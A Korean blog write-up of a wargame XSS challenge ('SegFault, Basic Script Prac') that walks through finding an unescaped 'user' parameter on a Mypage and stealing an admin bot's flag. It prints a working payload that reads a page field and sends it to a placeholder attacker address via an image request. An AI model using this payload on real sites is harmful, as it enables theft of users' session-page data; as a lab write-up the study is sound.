Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (ClientScript) - Basic Script Prac

Gearvirus(junyup2) 2024. 1. 11. 22:51

[SegFault] (ClientScript)

Basic Script Prac

Mypage์—์„œ XSS๊ฐ€ ์ผ์–ด๋‚œ๋‹ค! ๋งˆ์ดํŽ˜์ด์ง€์— ์žˆ๋Š” ๊ด€๋ฆฌ์ž์˜ ์ค‘์š” ์ •๋ณด! flag๋ฅผ ํƒˆ์ทจํ•ด๋ผ!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ, ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ํŠน์ • ์œ„์น˜์˜ ์ค‘์š” ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฐพ๊ณ  ํ•ด๋‹น ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ •๋ณด๊ฐ€ ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋ฌธ์ œ์—์„œ Mypage์—์„œ XSS ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๊ณ  ์•Œ๋ ค์ฃผ๊ณ  ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ์šฐ์„  ๋งˆ์ดํŽ˜์ด์ง€์— ์ ‘์†ํ•ด๋ณธ๋‹ค.

 

XSS Point

๋งˆ์ดํŽ˜์ด์ง€(Mypage)์— XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๊ณ  ํ–ˆ์Œ์œผ๋กœ ์ด๋ฅผ ํ™•์ธํ•ด๋ด์•ผํ•œ๋‹ค. user ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ํ™•์ธ๋˜๋ฏ€๋กœ ์ด๋ฅผ ๋ณ€์กฐ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค. < ' " >๋ฅผ ์‚ฝ์ž…ํ•ด์„œ ํ™•์ธํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด < ' " >๋ฅผ ์ž…๋ ฅํ•ด๋ณธ ๊ฒฐ๊ณผ ์‘๋‹ต์—์„œ ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ๊ฐ’์ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ค‘์š”์ •๋ณด

๋งˆ์ดํŽ˜์ด์ง€์˜ ์ค‘์š”์ •๋ณด์— ํ•ด๋‹นํ•˜๋Š” ๋ถ€๋ถ„์€ Flag Here..! ๋ผ๊ณ  ์ ํ˜€์žˆ๋Š” Info ๋ถ€๋ถ„์ด๋‹ค. ๊ด€๋ฆฌ์ž์˜ Info๋ฅผ ๋ฐ›์•„์™€์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ด€๋ฆฌ์ž๊ฐ€ ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘์†ํ–ˆ์„ ๋•Œ Info ๋ถ€๋ถ„์— ์ ํ˜€์žˆ๋Š” ๊ฐ’์„ ๊ฐ€์ ธ์™€์•ผํ•œ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ํ•ด๋‹น ๋ถ€๋ถ„์˜ HTML ๊ตฌ์กฐ๋ฅผ ํ™•์ธํ•˜์—ฌ document ๊ฐ’์„ ๋ฐ›์•„์™€์•ผํ•œ๋‹ค.

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ๋ถ€๋ถ„์˜ ๊ตฌ์กฐ๋Š” info๋ผ๋Š” ์ด๋ฆ„์˜ input ํƒœ๊ทธ์˜ placeholder ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

ํ•ด๋‹น Info๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ(Paylaod)

gear"/><img+src=x+onerror="data()"><script>function+data(){var+secretData=document.getElementsByName('info')[0].placeholder;var+i=new+Image();i.src="https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?p="%2bsecretData;}</script><

img ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ img๋ฅผ ๋ถˆ๋Ÿฌ์˜ค์ง€ ๋ชปํ–ˆ์„ ๋•Œ(onerror) ์Šคํฌ๋ฆฝํŠธ ํƒœ๋“œ ๋‚ด๋ถ€์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜์—ฌ, ํ•ด๋‹น Info ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋„๋ก ํ•œ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

์œ„์˜ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‚ฝ์ž…๋œ URL์„ ๋ณต์‚ฌํ•˜์—ฌ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ๊ด€๋ฆฌ์ž์˜ ์ค‘์š” ์ •๋ณด(Info)๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ค‘์š” ์ •๋ณด ๋ถ€๋ถ„์„ ๋ฐ›์•„์˜ค๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag๊ฐ’์ด ํš๋“๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ์ค‘์š”์ •๋ณด๋ฅผ ํฌํ•จํ•œ ํŽ˜์ด์ง€์—์„œ ํด๋ผ์ด์–ธํŠธ ์ธก ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ณ , ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ ์ ์„ ์ด์šฉํ•˜์˜€๋‹ค.
์ค‘์š”์ •๋ณด ํŽ˜์ด์ง€์˜ ๊ฒฝ์šฐ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ๋ณ€์กฐ๋  ์œ„ํ—˜์ด ์žˆ์œผ๋ฏ€๋กœ, ํ•ด๋‹น ์ด์šฉ์ž์ž„์„ ํ™•์ธํ•˜๋Š” ๋กœ์ง์— ์žˆ์–ด์„œ ํด๋ผ์ด์–ธํŠธ ์ธก์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ์„œ ํ™•์ธํ•˜์ง€ ์•Š์•„์•ผํ•˜๊ณ , ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•œ๋‹ค๋ฉด ๋ณ€์กฐ๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋„๋ก ๊ตฌํ˜„ํ•ด์•ผํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜